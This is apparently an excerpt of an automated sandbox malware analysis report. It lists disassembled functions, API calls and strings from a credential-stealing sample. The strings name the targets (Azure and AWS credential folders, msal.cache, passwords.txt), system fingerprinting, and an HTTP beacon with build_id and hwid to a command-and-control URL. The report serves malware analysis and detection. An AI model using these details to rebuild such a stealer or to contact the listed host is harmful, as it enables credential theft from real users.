Part of subcall function 00410FBA: wsprintfA.USER32 ref: 00410FEC

Part of subcall function 00411119: GetProcessHeap.KERNEL32(00000000,00000104,?,Keyboard Languages: ,00436910,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 00411131
Part of subcall function 00411119: HeapAlloc.KERNEL32(00000000), ref: 00411138
Part of subcall function 00411119: GlobalMemoryStatusEx.KERNEL32(?,?,00000040), ref: 00411154
Part of subcall function 00411119: wsprintfA.USER32 ref: 0041117A

Part of subcall function 00411192: EnumDisplayDevicesA.USER32(00000000,00000000,?,00000001), ref: 004111E9

Part of subcall function 004114A5: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00436712,?,?), ref: 004114D4
Part of subcall function 004114A5: Process32First.KERNEL32(00000000,00000128), ref: 004114E4
Part of subcall function 004114A5: Process32Next.KERNEL32(00000000,00000128), ref: 00411542
Part of subcall function 004114A5: CloseHandle.KERNEL32(00000000), ref: 0041154D

Part of subcall function 00411203: RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,0043670F,00000000,?,?), ref: 00411273
Part of subcall function 00411203: RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 004112B0
Part of subcall function 00411203: wsprintfA.USER32 ref: 004112DD
Part of subcall function 00411203: RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 004112FC
Part of subcall function 00411203: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00411332
Part of subcall function 00411203: lstrlenA.KERNEL32(?), ref: 00411347

Part of subcall function 00411203: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,?,00436E8C), ref: 004113DC
Part of subcall function 00411203: RegCloseKey.ADVAPI32(?), ref: 00411446
Part of subcall function 00411203: RegCloseKey.ADVAPI32(?), ref: 00411472

lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,Keyboard Languages: ,00436910,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000), ref: 00414563

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

Strings

[Hardware], xrefs: 0041420D
Processor: , xrefs: 0041422D
Windows: , xrefs: 00413E70
Install Date: , xrefs: 00413ED1
TimeZone: , xrefs: 004141AC
Computer Name: , xrefs: 00413FAD
Threads: , xrefs: 004142EF
User Name: , xrefs: 0041400E
[Software], xrefs: 004144A3
Work Dir: In memory, xrefs: 00413E30
Cores: , xrefs: 0041428E
GUID: , xrefs: 00413CE1
Date: , xrefs: 00413C1F
Path: , xrefs: 00413DBB
MachineID: , xrefs: 00413C80
information.txt, xrefs: 00414573
Keyboard Languages: , xrefs: 004140DE
Local Time: , xrefs: 0041414B
[Processes], xrefs: 0041442A
AV: , xrefs: 00413F3E
Version: , xrefs: 00413B9F
VideoCard: , xrefs: 004143B7
Display Resolution: , xrefs: 0041406F
RAM: , xrefs: 00414350
HWID: , xrefs: 00413D4E

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$wsprintf$Close$CreateOpen$InitializeQueryValuelstrcatlstrcpy$InformationLocalNamelstrlen$BlanketCapsCurrentDeviceEnumHandleInfoInitInstanceKeyboardLayoutListProcess32ProxySecurityTimeVariant_memset$AllocateCharComputerDevicesDirectoryDisplayFileFirstFreeGlobalH_prolog3_catchH_prolog3_catch_LocaleLogicalMemoryModuleNextObjectProcessorProfileReleaseSingleSnapshotStatusSystemThreadToolhelp32UserVolumeWaitWindowsZone
String ID: AV: $Computer Name: $Cores: $Date: $Display Resolution: $GUID: $HWID: $Install Date: $Keyboard Languages: $Local Time: $MachineID: $Path: $Processor: $RAM: $Threads: $TimeZone: $User Name: $Version: $VideoCard: $Windows: $Work Dir: In memory$[Hardware]$[Processes]$[Software]$information.txt
API String ID: 3634126619-1014693891
Opcode ID: 7a46959f5221a3ecf59d0b49526b51229a01ec7697e4ef637f3ce16e9305e42c
Instruction ID: 8a42f407c24202d7a6dd8fa6120b12fd45f2decad8a8e81766ce9a60c8fe54d8
Opcode Fuzzy Hash: 7a46959f5221a3ecf59d0b49526b51229a01ec7697e4ef637f3ce16e9305e42c
Instruction Fuzzy Hash: EB527D71D4001EAACF01FBA2DD429DDB7B5AF04308F51456BB610771A1DBB87E8E8B98

Function 004169B6 Relevance: 45.8, APIs: 9, Strings: 17, Instructions: 315
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 00410581

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 0041683E: StrCmpCA.SHLWAPI(?,ERROR), ref: 00416873

StrCmpCA.SHLWAPI(?,ERROR), ref: 00416AC2

Part of subcall function 004168C6: StrCmpCA.SHLWAPI(?,ERROR), ref: 0041691A
Part of subcall function 004168C6: lstrlenA.KERNEL32(?), ref: 00416925
Part of subcall function 004168C6: StrStrA.SHLWAPI(00000000,?), ref: 0041693A
Part of subcall function 004168C6: lstrlenA.KERNEL32(?), ref: 00416949
Part of subcall function 004168C6: lstrlenA.KERNEL32(00000000), ref: 00416962

StrCmpCA.SHLWAPI(?,ERROR), ref: 00416B1F
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416B78
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416BD8
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416C31
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416C47
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416CA7
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416D00
Sleep.KERNEL32(0000EA60), ref: 00416D0F

Strings

ERROR, xrefs: 00416C3F
>wA, xrefs: 00416E2D
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416DBE
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416D8D
ERROR, xrefs: 00416ABA
http://proxy.johnmccrea.com/, xrefs: 00416A54
ERROR, xrefs: 00416B17
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416D25
ERROR, xrefs: 00416C29
ERROR, xrefs: 00416C9F
ERROR, xrefs: 00416CF8
sql.dll, xrefs: 00416E0E
ERROR, xrefs: 00416B70
sqlp.dll, xrefs: 00416DDD
sqlp.dll, xrefs: 00416DAC
ERROR, xrefs: 00416BD0
sqlp.dll, xrefs: 00416D44

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: >wA$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$http://proxy.johnmccrea.com/$sql.dll$sqlp.dll$sqlp.dll$sqlp.dll
API String ID: 507064821-4142071343
Opcode ID: d6a0b5c5444a4ccf3efbfa7656036f48e37d140efc54fa1caf20e42d6c103a14
Instruction ID: c90f6ea4a5ca348140cab4ba7e9dbaa9ca4af95923ca0130c421cdf06f76cfec
Opcode Fuzzy Hash: d6a0b5c5444a4ccf3efbfa7656036f48e37d140efc54fa1caf20e42d6c103a14
Instruction Fuzzy Hash: 0FC15C31E40118ABCF10FB66DD47ACCB775AF04308F51406BF815B7192DBB8AE898B99

Function 0040884C Relevance: 42.4, APIs: 23, Strings: 1, Instructions: 405
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410795: StrCmpCA.SHLWAPI(?,?,?,00408863,?,?,?), ref: 0041079E

CopyFileA.KERNEL32(?,?,00000001), ref: 00408941

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 004122B0: _memset.LIBCMT ref: 004122D7
Part of subcall function 004122B0: OpenProcess.KERNEL32(00001001,00000000,?,00000000,?), ref: 0041237D
Part of subcall function 004122B0: TerminateProcess.KERNEL32(00000000,00000000), ref: 0041238B
Part of subcall function 004122B0: CloseHandle.KERNEL32(00000000), ref: 00412392

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408AA6
RtlAllocateHeap.NTDLL(00000000), ref: 00408AAD
StrCmpCA.SHLWAPI(?,ERROR_RUN_EXTRACTOR), ref: 00408B95
StrCmpCA.SHLWAPI(?,004371E8), ref: 00408BAB
StrCmpCA.SHLWAPI(?,004371EC), ref: 00408BD3
lstrlenA.KERNEL32(?), ref: 00408CF0
lstrlenA.KERNEL32(?), ref: 00408D0B

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

DeleteFileA.KERNEL32(?), ref: 00408D4E

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00408B8F

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$Processlstrlen$FileHeaplstrcat$AllocateCloseCopyCreateDeleteHandleObjectOpenSingleTerminateThreadWait_memset
String ID: ERROR_RUN_EXTRACTOR
API String ID: 2819533921-2709115261
Opcode ID: 077028fa3e716a35bf32b89dafc6fd792268f45b4b1644074680612183489aa6
Instruction ID: b1bb328f08e938e4400443fd48ceaf11af5fc61e9b4d8feda928490e573589d9
Opcode Fuzzy Hash: 077028fa3e716a35bf32b89dafc6fd792268f45b4b1644074680612183489aa6
Instruction Fuzzy Hash: 02E14F71A00209AFCF01FFA1ED4A9DD7B76AF04309F10502AF541B71A1DB796E958F98

Function 0040852E Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 230
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001), ref: 004085D3
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408628
RtlAllocateHeap.NTDLL(00000000), ref: 0040862F
lstrlenA.KERNEL32(?), ref: 004086CB
lstrcatA.KERNEL32(?), ref: 004086E4
lstrcatA.KERNEL32(?,?), ref: 004086EE
lstrcatA.KERNEL32(?,0043719C), ref: 004086FA
lstrcatA.KERNEL32(?,?), ref: 00408704
lstrcatA.KERNEL32(?,004371A0), ref: 00408710
lstrcatA.KERNEL32(?), ref: 0040871D
lstrcatA.KERNEL32(?,?), ref: 00408727
lstrcatA.KERNEL32(?,004371A4), ref: 00408733
lstrcatA.KERNEL32(?), ref: 00408740
lstrcatA.KERNEL32(?,?), ref: 0040874A
lstrcatA.KERNEL32(?,004371A8), ref: 00408756
lstrcatA.KERNEL32(?), ref: 00408763
lstrcatA.KERNEL32(?,?), ref: 0040876D
lstrcatA.KERNEL32(?,004371AC), ref: 00408779
lstrcatA.KERNEL32(?,004371B0), ref: 00408785
lstrlenA.KERNEL32(?), ref: 004087BE
DeleteFileA.KERNEL32(?), ref: 0040880B

Strings

passwords.txt, xrefs: 004087CE

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID: passwords.txt
API String ID: 1956182324-347816968
Opcode ID: 0425c30be70ca39626462c834c4dfe654db9ea7e380ceb02c86be48175c27a70
Instruction ID: dc35adcabb2262aeaa3715ac701fce149c27e2d4e5217412d5f4b6884cb75f27
Opcode Fuzzy Hash: 0425c30be70ca39626462c834c4dfe654db9ea7e380ceb02c86be48175c27a70
Instruction Fuzzy Hash: E2814032900208AFCF05FFA1EE4A9CD7B76BF08316F205026F501B31A1EB7A5E559B59

Function 00404B2E Relevance: 35.4, APIs: 12, Strings: 8, Instructions: 378networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00404BCD
StrCmpCA.SHLWAPI(?), ref: 00404BEB
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404D83
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00404DC7
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00404DF5

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

lstrlenA.KERNEL32(?,00436953,",build_id,004377C4,------,004377B8,",hwid,004377A4,------), ref: 004050EE
lstrlenA.KERNEL32(?,?,00000000), ref: 00405101
HttpSendRequestA.WININET(00000000,?,00000000), ref: 0040510F
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040516C
InternetCloseHandle.WININET(00000000), ref: 00405177
InternetCloseHandle.WININET(?), ref: 0040518E
InternetCloseHandle.WININET(?), ref: 0040519A

Strings

", xrefs: 00405039
------, xrefs: 00404C75
------, xrefs: 00404F5B
hwid, xrefs: 00404EAD
", xrefs: 00404ED9
HxA, xrefs: 00405222
build_id, xrefs: 0040500D
------, xrefs: 00404DFB

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileOptionReadSend
String ID: "$"$------$------$------$HxA$build_id$hwid
API String ID: 3006978581-3648483202
Opcode ID: 3e75520d421d15d17480e17177354ca7258db6304e7740180cb8297fdc3c51f4
Instruction ID: 21305393b516d721eabc2380545c4b93fc8e403c2138cad973479bd5099e6fae
Opcode Fuzzy Hash: 3e75520d421d15d17480e17177354ca7258db6304e7740180cb8297fdc3c51f4
Instruction Fuzzy Hash: 0C02C371D5512A9ACF20EB21CD46ADDB7B5FF04308F4140E6A54873191DAB87ECA8FD8

Function 00401666 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 129memoryfileCOMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 00401696
wsprintfW.USER32 ref: 004016BC
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000100,00000000), ref: 004016E6
GetProcessHeap.KERNEL32(00000008,000FFFFF), ref: 004016FE
RtlAllocateHeap.NTDLL(00000000), ref: 00401705
_time64.MSVCRT ref: 0040170E
srand.MSVCRT ref: 00401715
rand.MSVCRT ref: 0040171E
_memset.LIBCMT ref: 0040172E
WriteFile.KERNEL32(?,00000000,000FFFFF,?,00000000), ref: 00401746
_memset.LIBCMT ref: 00401763
CloseHandle.KERNEL32(?), ref: 00401771
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,04000100,00000000), ref: 0040178D
ReadFile.KERNEL32(00000000,00000000,000FFFFF,?,00000000), ref: 004017A9
_memset.LIBCMT ref: 004017BE
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004017C8
RtlFreeHeap.NTDLL(00000000), ref: 004017CF
CloseHandle.KERNEL32(?), ref: 004017DB

Strings

delays.tmp, xrefs: 004016A4
%s%s, xrefs: 004016B6

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FileHeap$_memset$CloseCreateHandleProcess$AllocateFreePathReadTempWrite_time64randsrandwsprintf
String ID: %s%s$delays.tmp
API String ID: 1620473967-1413376734
Opcode ID: 39f734473f17f97426e056466eb3bebedc037311c24c273f22620d7e2f0f990d
Instruction ID: 9b5f552432b4e98a6f0c5797751fefc193ccc8af765751ef1568987e4d70ee72
Opcode Fuzzy Hash: 39f734473f17f97426e056466eb3bebedc037311c24c273f22620d7e2f0f990d
Instruction Fuzzy Hash: B641C6B1D00218ABDB205F61AC4CF9F7B7DEB85715F1016BAF00AE10A1DA394E54CF28

Function 004164BD Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 114stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004164E2

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000,?,00000000,?), ref: 00416501
lstrcatA.KERNEL32(?,\.azure\), ref: 0041651E

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416018
Part of subcall function 00415FD1: FindFirstFileA.KERNEL32(?,?), ref: 0041602F
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416091
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160C2
Part of subcall function 00415FD1: PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?), ref: 00416125
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 0041614A
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 00416170

_memset.LIBCMT ref: 00416556
lstrcatA.KERNEL32(?,00000000), ref: 00416578
lstrcatA.KERNEL32(?,\.aws\), ref: 00416595

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160D9
Part of subcall function 00415FD1: CopyFileA.KERNEL32(?,?,00000001), ref: 00416229
Part of subcall function 00415FD1: DeleteFileA.KERNEL32(?), ref: 0041629D
Part of subcall function 00415FD1: FindNextFileA.KERNEL32(?,?), ref: 004162FF
Part of subcall function 00415FD1: FindClose.KERNEL32(?), ref: 00416313

_memset.LIBCMT ref: 004165CA
lstrcatA.KERNEL32(?,00000000), ref: 004165EC
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00416609
_memset.LIBCMT ref: 0041663E

Strings

*.*, xrefs: 00416536
\.azure\, xrefs: 00416512
*.*, xrefs: 004165AA
Azure\.IdentityService, xrefs: 00416619
\.aws\, xrefs: 00416589
\.IdentityService\, xrefs: 004165FD
msal.cache, xrefs: 0041661E
Azure\.azure, xrefs: 00416531
Azure\.aws, xrefs: 004165A5

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
